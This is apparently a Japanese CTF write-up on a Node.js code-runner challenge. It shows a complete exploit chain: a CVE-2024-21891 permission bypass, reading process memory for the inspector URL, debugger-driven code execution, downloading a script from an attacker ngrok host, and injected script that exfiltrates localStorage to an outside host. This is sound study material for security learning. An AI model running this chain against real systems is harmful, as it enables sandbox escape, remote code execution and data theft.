🎂

Satoki CTF - EXECJs writeup

2024/09/04に公開

他の問題はこちら

Satoki CTFのラスボス問題に手も足もでなかったので、他の方のwriteupなぞりながら勉強しました。

st98さんの作問者writeupを大いに参考にしました。私のより詳しく書いてあるしわかりやすいので、基本はこちらを読んだ方がいいと思います!この記事はあくまで私の勉強の一環として捉えてくれると幸いです。

問題設定

テキストフィールドにjavascriptを書き込んで送信すると、その実行結果を出力してくれるというサービス。

botを起動すると、このサイトを訪れてくれるので、botがlocalstorageに保存した内容を取得できればクリア。今回はURLを指定することができず、メインページを表示するだけである。したがって、サーバーに何かしら破壊的な変更をもたらして、すべての問い合わせに対してXSSが行われるような攻撃を仕掛ける必要がある。

crawler/index.js
const visit = async () => {
    console.log('visiting');

    let browser;
    try {
        browser = await chromium.launch({
            /* snap */
        });

        const context = await browser.newContext();
        const page = await context.newPage();

        await page.goto(SITE, { timeout: 3000, waitUntil: 'networkidle' });
        page.evaluate(flag => {
            localStorage.flag = flag;
        }, FLAG);
        await sleep(5000);

        await browser.close();
        browser = null;
    } catch (e) {
        console.log(e);
    } finally {
        if (browser) await browser.close();
    }

    console.log('done');
};

また、コードの実行結果はすべてエスケープされてしまう上に、CSPによってスクリプトをブラウザで実行できないので、これも突破する必要がある。

backend/index.js
app.use((req, res, next) => {
    res.setHeader('Content-Security-Policy', "default-src 'none'"); // 😉
    next();
});
/* snap */
app.post('/', async (req, res) => {
    let result = '';
    const { code } = req.body; 

    if (code && typeof code === 'string') {
        try {
            result = (await safeEval(code)).toString();
        } catch {
            result = 'An error occurred.';
        }
    }

    const html = indexHtml.replaceAll('{OUTPUT}', escape(result));
    res.setHeader('Content-Type', 'text/html');
    return res.send(html);
});
backend/utils.js
const escapeTable = {
    '&': '&',
    '<': '&lt;',
    '>': '&gt;',
    '"': '&quot;',
    "'": '&#39;'
};
export function escape(html) {
    return html.replaceAll(/[&<>"']/g, s => {
        return escapeTable[s];
    })
};

実行するjavascriptは、サンドボックス化された環境で実行される。具体的には、別プロセスで--experimental-permissionというオプション付きでnodeが起動し、送信したコードが実行される。これにより、ファイルの読み込みは/tmpディレクトリに作成された指定のディレクトリのファイルのみ可能となり、書き込みはすべてのファイルで防がれる。

backend/utils.js
export async function safeEval(code) {
    let result = null;

    const { name: tmpdir, removeCallback } = tmp.dirSync();
    const txtpath = `${tmpdir}/sample.txt`;
    const jspath = `${tmpdir}/index.js`;

    try {
        await fs.writeFile(txtpath, 'hello');
        await fs.writeFile(jspath, code);

        const proc = child_process.execFileSync('node', [
            '--experimental-permission',
            `--allow-fs-read=${tmpdir}`,
            '--noexpose_wasm',
            '--jitless',
            jspath
        ], {
            timeout: 60_000,
            cwd: tmpdir,
            stdio: ['ignore', 'pipe', 'pipe']
        });
        result = proc;
    } catch(e) {
        console.error('[err]', e);
    } finally {
        await fs.unlink(txtpath);
        await fs.unlink(jspath);
        removeCallback();
    }

    return result;
};

Step 1: デバッガーの起動

この問題の正攻法はnodeのデバッガーを利用するようだ。(私は存在自体知らなかった...)

通常は、nodeに--inspectオプションをつけると起動するが、今回の場合は既に起動してしまっている。ドキュメントによればSIGUSR1 シグナルを送ることで、デバッガーを起動することができる。

自身を起動したプロセスはprocess.ppidで取得できるので、process.kill関数と組み合わせてデバッガを起動する。

ここまでのソルバー
solver1.py
import re
import requests

URL = "http://localhost:3000/"
EVIL = "https://xxx.ngrok.app/"

def send(code):
    r = requests.post(URL , data={
        "code": code
    })
    output = re.findall("<pre>((.|\s)+)</pre>", r.text, re.MULTILINE)
    if len(output) > 0:
        print(output[0][0])
    else:
        print(r.text) 
 

send(open("run1.js", "r").read())
run1.js
process.kill(process.ppid, 'SIGUSR1');
console.log(process.ppid)

実行して、Debugger listening on ws://127.0.0.1:9229/<UUID>と表示されればOK。

Step 2: 任意のファイルの読み込み

次に、デバッガーに接続する方法を考える。通常であれば、http://127.0.0.1:9229/json/listから接続するURLを取得できるが、今回は--inspect-publish-uid=stderrというオプションが付いており、この方法ではURLを取得できない。ただし、メモリ上のどこかには存在しているはずなので、/proc/<ppid>/memを読み込むことができれば、URLを取得できる。

したがって、任意のファイルを読み込む方法を考えたい。使用しているnodejsのバージョンは20.11.0であり、このバージョンはCVE-2024-21891の脆弱性がある。

Node.js depends on multiple built-in utility functions to normalize paths provided to node:fs functions, which can be overwitten with user-defined implementations leading to filesystem permission model bypass through path traversal attack.

Node.jsは、node:fs関数で提供されるパスを正規化するために複数の組み込みユーティリティ関数に依存しており、これらはユーザ定義の実装で上書きされる可能性があり、パストラバーサル攻撃によってファイルシステムのパーミッションモデルをバイパスされる可能性がある。

ということで、実際にコードを確かめてみると、たしかに、path.toNamespacedPathを利用して正規化しているので、これを無効化すれば任意のディレクトリのファイル読み込めるようになりそうだ。

node/lib/fs.js
  if (options.encoding === 'utf8' || options.encoding === 'utf-8') {
    if (!isInt32(path)) {
      path = pathModule.toNamespacedPath(getValidatedPath(path));
    }
    return binding.readFileUtf8(path, stringToFlags(options.flag));
  }

ということで、fs.readFileSyncを実行する前に

path.toNamespacedPath = (v) => `${__dirname}/../..${v}`;

を実行すると、任意のディレクトリのファイル読み込めるようになる。

Step 3: メモリからデバッガーのURLの取得

/proc/<ppid>/mem/proc/<ppid>/mapsを読み込めるようになったので、メモリからURLを取得できるようになった。/proc/<ppid>/mapsには、そのプロセスが利用しているメモリの範囲を見ることができる。(参考)

00400000-00b6d000 r--p 00000000 00:39 9713798                            /usr/local/bin/node
00b6d000-00b6f000 r-xp 0076d000 00:39 9713798                            /usr/local/bin/node
00b70000-025cd000 r-xp 00770000 00:39 9713798                            /usr/local/bin/node
02600000-02601000 r-xp 02200000 00:39 9713798                            /usr/local/bin/node
02601000-054b0000 r--p 02201000 00:39 9713798                            /usr/local/bin/node
054b1000-054b5000 r--p 050b0000 00:39 9713798                            /usr/local/bin/node
054b5000-054d4000 rw-p 050b4000 00:39 9713798                            /usr/local/bin/node
054d4000-05501000 rw-p 00000000 00:00 0 
067c0000-069ec000 rw-p 00000000 00:00 0                                  [heap]

/proc/<ppid>/memは実際のメモリの内容を示すので、/proc/<ppid>/maps範囲を確認することによって、URLを取得できる。細かくフィルタリングすることもできるだろうが、今回は全ての範囲を探索してもそれほど時間がかからなかった。

たとえば、

00400000-00b6d000 r--p 00000000 00:39 9713798                            /usr/local/bin/node

の行に対しては、

const start = parseInt('00400000',16);
const end = parseInt('00b6d000',16)
fs.readSync(`/proc/${process.ppid}/mem`, buffer, 0, end - start, start);

とすると、その位置のメモリの値を読み取ることができる。

探索する正規表現は229\/([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})にした。直感的には9229から始まりそうだがそうならなかった理由はわからなかった。

ここまでのソルバー
solver.py
import re
import requests

URL = "http://localhost:3000/"

def send(code):
    r = requests.post(URL , data={
        "code": code
    })
    output = re.findall("<pre>((.|\s)+)</pre>", r.text, re.MULTILINE)
    if len(output) > 0:
        print(output[0][0])
    else:
        print(r.text) 
 

send(open("run1.js", "r").read())
send(open("run2.js", "r").read())
run2.js
const fs = require("fs")
const path = require("path")
path.toNamespacedPath = (v) => `${__dirname}/../..${v}`;
const uuid = fs.readFileSync(`/proc/${process.ppid}/maps`).toString().split("\n").map(line => {
  const [range, perms] = line.split(' ');
  if(!perms || !perms.includes('r')) return;

  const [start, end] = line.split('-').map(addr => parseInt(addr, 16));;
  const memfd = fs.openSync(`/proc/${process.ppid}/mem`);
  const length = end - start;
  const buffer = Buffer.alloc(length);
  try {
    fs.readSync(memfd, buffer, 0, length, start);
  } catch(e) {
  }
  fs.closeSync(memfd);

  const steps = 2000;
  for(let i = 0; i < length; i+= steps) {
    const str = buffer.subarray(i, Math.min(i + steps + 54, length)).toString('utf8');
    if(str.includes("229/")) {
      const match = str.match(/229\/([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})/);
      if(match) {
        return match[1];
      }
    }
  }
}).find(v => v);
console.log("ws://127.0.0.1:9229/" + uuid)

URLが出力されればOK

Step 4: デバッガーへの接続

デバッガーに接続するためにはwebsocketを使う必要がある。wsを使いたいが、サンドボックスではもちろん外部ファイルを読み込むことはできないので、コードに埋め込みたい。

webpackを利用して、bundle.jsを作成し、これをコードに埋め込むことを考える。ターゲットがブラウザではないことに留意して次のように設定した。

webpack.config.js
const path = require('path');

module.exports = {
target: 'node',
  entry: './index.js',
  output: {
    filename: 'bundle.js',
    path: path.resolve(__dirname, 'dist'),
    libraryTarget: 'commonjs2'
  },
  mode: 'production',
};

さらに、次のindex.jsを作成する

index.js
const WebSocket = require('ws');
module.exports = WebSocket;

npx webpack --config webpack.config.jsを実行すると、dist/bundle.jsが作成されるので、これをbase64で暗号化→実行時に復号してevalというながれで読み込んだ。

solver.py
""" snap """
ws = b64encode(open("./dist/bundle.js", "rb").read()).decode()
send(open("run2.js", "r").read().replace('{WS}', ws))
""" snap """
run2.js
/* snap */
eval(atob("{WS}"))
const WebSocket = module.exports.WebSocket;

const ws = new WebSocket("ws://127.0.0.1:9229/" + uuid);
/* snap */

Step 5: サンドボックスからのエスケープ

最後に、デバッガーを利用して、親プロセスの実行環境で任意のjavascriptコードを実行する。この環境は(後述する制限はあるが)大体のコードを実行することが可能なため、実質的にサンドボックスからエスケープできたことになる。

Nodejsのデバッガーの詳細のドキュメントがどこを探しても見つからないのだが、Chrome DevTools Protocolで利用できるやつが大体利用できたので、これを参考にした。Runtime.evaluateを利用すれば良い。

デバッガーとWebsocketで接続されている間は、サーバーをブロックしてしまうので、一定時間後にWebsocketを閉じるようにした。

ここまでのソルバー
solver.py
import re
import requests
from base64 import b64encode

URL = "http://localhost:3000/"

def send(code):
    r = requests.post(URL , data={
        "code": code
    })
    output = re.findall("<pre>((.|\s)+)</pre>", r.text, re.MULTILINE)
    if len(output) > 0:
        print(output[0][0])
    else:
        print(r.text) 
 

send(open("run1.js", "r").read())

ws = b64encode(open("./dist/bundle.js", "rb").read()).decode()
run3 = b64encode("console.log('Hello from run3!')").decode()
send(open("run2.js", "r").read().replace('{WS}', ws).replace('{RUN3}', run3))
run2.js
const fs = require("fs")
const path = require("path")
path.toNamespacedPath = (v) => `${__dirname}/../..${v}`;
const uuid = fs.readFileSync(`/proc/${process.ppid}/maps`).toString().split("\n").map(line => {
  const [range, perms] = line.split(' ');
  if(!perms || !perms.includes('r')) return;

  const [start, end] = line.split('-').map(addr => parseInt(addr, 16));;
  const memfd = fs.openSync(`/proc/${process.ppid}/mem`);
  const length = end - start;
  const buffer = Buffer.alloc(length);
  try {
    fs.readSync(memfd, buffer, 0, length, start);
  } catch(e) {
  }
  fs.closeSync(memfd);

  const steps = 2000;
  for(let i = 0; i < length; i+= steps) {
    const str = buffer.subarray(i, Math.min(i + steps + 54, length)).toString('utf8');
    if(str.includes("229/")) {
      const match = str.match(/229\/([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})/);
      if(match) {
        return match[1];
      }
    }
  }
}).find(v => v);
eval(atob("{WS}"))
const WebSocket = module.exports.WebSocket;

const ws = new WebSocket("ws://127.0.0.1:9229/" + uuid);
const run3 = atob('{RUN3}').replace('{WSURL}', "ws://127.0.0.1:9229/" + uuid);
ws.on('open', () => {
  console.log('Connected to Node.js debugger');
  const evaluateCmd = JSON.stringify({
    id: 1, 
    method: 'Runtime.evaluate',
    params: {
      expression: run3,
    }
  });

  ws.send(evaluateCmd, () => {
    console.log('Command sent to Node.js debugger');
    setTimeout(() => process.exit(0), 1000) 
  });
})

Step 6: 別プロセスの起動

上記のrun3の内容は任意のコードを実行できるが、require関数を利用することができない。代わりにprocess.binding('spawn_sync')を利用して、別プロセスを起動することができる。

これを利用して、次のことをしたい。

  1. run4.jsを自分のサーバーからダウンロードする。
  2. Websocketを使いたいので、npm i wsを実行する
  3. node run4.jsを実行する

これらもプロセスをブロックすることなく行いたいがspawn_syncは別プロセスの終了を同期的に待ってしまう。そこで、node run4.js >result.txt 2>result.txt &のように標準出力と標準エラーをリダイレクトさせた上に&をつけることによってプロセスの終了を待たなくなる。

ここまでのソルバー
solver.py
import re
import requests
from base64 import b64encode

URL = "http://localhost:3000/"
EVIL = "https://xxx.ngrok.app/"

def send(code):
    r = requests.post(URL , data={
        "code": code
    })
    output = re.findall("<pre>((.|\s)+)</pre>", r.text, re.MULTILINE)
    if len(output) > 0:
        print(output[0][0])
    else:
        print(r.text) 
 

send(open("run1.js", "r").read())

ws = b64encode(open("./dist/bundle.js", "rb").read()).decode()
run3 = b64encode(open("run3.js", "r").read().replace('{EVIL}', EVIL).encode()).decode()
send(open("run2.js", "r").read().replace('{WS}', ws).replace('{RUN3}', run3))
run3.js

setTimeout(async () => {
    const file = (await (await fetch("{EVIL}run4.js")).text());
    const spawnSync1 = process.binding('spawn_sync');
    const options1 = {
      file: 'bash', 
      args: ['bash', '-c', `echo '${file}'>run4.js&&npm i ws`], 
      envPairs: [`PATH=${process.env.PATH}`], 
      stdio: [
          { type: 'pipe', readable: true, writable: true },
          { type: 'pipe', readable: true, writable: true },
          { type: 'pipe', readable: true, writable: true }
      ],
      uid: process.getuid(),
      gid: process.getgid()
    };
    
    spawnSync1.spawn(options1);


    const spawnSync2 = process.binding('spawn_sync');
    const options2 = {
      file: 'bash',
      args: ['bash','-c', 'node run4.js >result.txt 2>result.txt &'], 
      envPairs: [`PATH=${process.env.PATH}`, 'WS_URL={WSURL}'], 
      stdio: [
          { type: 'pipe', readable: true, writable: true },
          { type: 'pipe', readable: true, writable: true },
          { type: 'pipe', readable: true, writable: true }
      ],
      uid: process.getuid(),
      gid: process.getgid()
    };
    
    const result2 = spawnSync2.spawn(options2);
    console.log(result2.output.toString())

}, 500)

Step 7: レスポンスの書き換え

run4.jsでは、レスポンスを送信する直前にブレイクポイントを設置し、レスポンスの内容をXSSを行うものに変え、ヘッダーのCSPを削除する。

ブレイクポイントはDebugger.setBreakpointByUrlを利用する。レスポンスの書き換えは、Debugger.evaluateOnCallFrameを利用する。これは指定のcallFrameで定義されている変数を参照・書き換えすることができる。ブレイクポイントで停止したことを通知するメッセージDebugger.pausedのパラメータには、その場所のcallFrameIdが付与されているので、それを利用する。

以上を踏まえたソルバー全体は次のようになった。

solver.py
import re
import requests
from base64 import b64encode

URL = "http://localhost:3000/"
EVIL = "https://xxx.ngrok.app/"

def send(code):
    r = requests.post(URL , data={
        "code": code
    })
    output = re.findall("<pre>((.|\s)+)</pre>", r.text, re.MULTILINE)
    if len(output) > 0:
        print(output[0][0])
    else:
        print(r.text) 
 

send(open("run1.js", "r").read())

ws = b64encode(open("./dist/bundle.js", "rb").read()).decode()
run3 = b64encode(open("run3.js", "r").read().replace('{EVIL}', EVIL).encode()).decode()
send(open("run2.js", "r").read().replace('{WS}', ws).replace('{RUN3}', run3))
run1.js
process.kill(process.ppid, 'SIGUSR1');
console.log(process.ppid)
run2.js
const fs = require("fs")
const path = require("path")
path.toNamespacedPath = (v) => `${__dirname}/../..${v}`;
const uuid = fs.readFileSync(`/proc/${process.ppid}/maps`).toString().split("\n").map(line => {
  const [range, perms] = line.split(' ');
  if(!perms || !perms.includes('r')) return;

  const [start, end] = line.split('-').map(addr => parseInt(addr, 16));;
  const memfd = fs.openSync(`/proc/${process.ppid}/mem`);
  const length = end - start;
  const buffer = Buffer.alloc(length);
  try {
    fs.readSync(memfd, buffer, 0, length, start);
  } catch(e) {
  }
  fs.closeSync(memfd);

  const steps = 2000;
  for(let i = 0; i < length; i+= steps) {
    const str = buffer.subarray(i, Math.min(i + steps + 54, length)).toString('utf8');
    if(str.includes("229/")) {
      const match = str.match(/229\/([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})/);
      if(match) {
        return match[1];
      }
    }
  }
}).find(v => v);
eval(atob("{WS}"))
const WebSocket = module.exports.WebSocket;

const ws = new WebSocket("ws://127.0.0.1:9229/" + uuid);
const run3 = atob('{RUN3}').replace('{WSURL}', "ws://127.0.0.1:9229/" + uuid);
ws.on('open', () => {
  console.log('Connected to Node.js debugger');
  const evaluateCmd = JSON.stringify({
    id: 1, 
    method: 'Runtime.evaluate',
    params: {
      expression: run3,
    }
  });

  ws.send(evaluateCmd, () => {
    console.log('Command sent to Node.js debugger');
    setTimeout(() => process.exit(0), 1000) 
  });
})
run3.js

setTimeout(async () => {
    const file = (await (await fetch("{EVIL}run4.js")).text());
    const spawnSync1 = process.binding('spawn_sync');
    const options1 = {
      file: 'bash', 
      args: ['bash', '-c', `echo '${file}'>run4.js&&npm i ws`], 
      envPairs: [`PATH=${process.env.PATH}`], 
      stdio: [
          { type: 'pipe', readable: true, writable: true },
          { type: 'pipe', readable: true, writable: true },
          { type: 'pipe', readable: true, writable: true }
      ],
      uid: process.getuid(),
      gid: process.getgid()
    };
    
    spawnSync1.spawn(options1);


    const spawnSync2 = process.binding('spawn_sync');
    const options2 = {
      file: 'bash',
      args: ['bash','-c', 'node run4.js >result.txt 2>result.txt &'], 
      envPairs: [`PATH=${process.env.PATH}`, 'WS_URL={WSURL}'], 
      stdio: [
          { type: 'pipe', readable: true, writable: true },
          { type: 'pipe', readable: true, writable: true },
          { type: 'pipe', readable: true, writable: true }
      ],
      uid: process.getuid(),
      gid: process.getgid()
    };
    
    const result2 = spawnSync2.spawn(options2);
    console.log(result2.output.toString())

}, 500)
run4.js
import WebSocket from "ws";
const ws = new WebSocket(process.env.WS_URL);

ws.on("open", () => {
  ws.send(
    JSON.stringify({
      id: 1,
      method: "Debugger.enable",
    }),
    () => {
      console.log("Enabled debugger to Node.js debugger");
    }
  );

  const setBreakpointCmd = JSON.stringify({
    id: 3,
    method: "Debugger.setBreakpointByUrl",
    params: {
      lineNumber: 17,
      url: "file:///app/index.js",
      columnNumber: 0,
    },
  });
  ws.send(setBreakpointCmd, () => {
    console.log("Debug point to Node.js debugger");
  });
});

ws.on("message", (data) => {
  const message = JSON.parse(data);

  if (message.method === "Debugger.paused") {
    console.log("Breakpoint hit:", JSON.stringify(message.params));
    const evaluateCmd = JSON.stringify({
      id: 1000 + 1,
      method: "Debugger.evaluateOnCallFrame",
      params: {
        callFrameId: message.params.callFrames[0].callFrameId,
        expression: `
                res.setHeader("Content-Security-Policy", "default-src: *");
                let old = res.send.bind(res);
                res.send = () => old("<script>setTimeout(() => document.location.assign(\\"https://tchen.ngrok.pizza/\\"+JSON.stringify(localStorage)), 1000)</script>")
                `,
      },
    });

    ws.send(evaluateCmd, () => {
      console.log("Variable value changed in the debugger");
    });

    const resumeCmd = JSON.stringify({
      id: 1000 + 2,
      method: "Debugger.resume",
    });

    ws.send(resumeCmd, () => {
      console.log("Resumed the process after hitting the breakpoint");
    });
  }
});

感想

  • サンドボックス苦手系なのですごくためになった。「Nodeのexperimental-permissionからのエスケープ」という問題設定自体知らなかったので、類題も見ながら勉強したい
  • デバッガ自体が解放に想定されている問題も初めてだった。他の言語でもデバッガの問題出題されたら注目していきたい。
  • メモリ直接読み書きする手法は、なんどかwriteupの非想定解で見たことあったくらいだったから、自力でやってみてよく仕組みがわかった。手段としては結構幅広く使えそう。
  • node.jsのソースコード自体初めて読んだので、いろいろ仕組みがわかったのがよかった。特に、process.bindingは他にも使いみちありそう(直接なアクセスはブロックされがちではあるが)

Discussion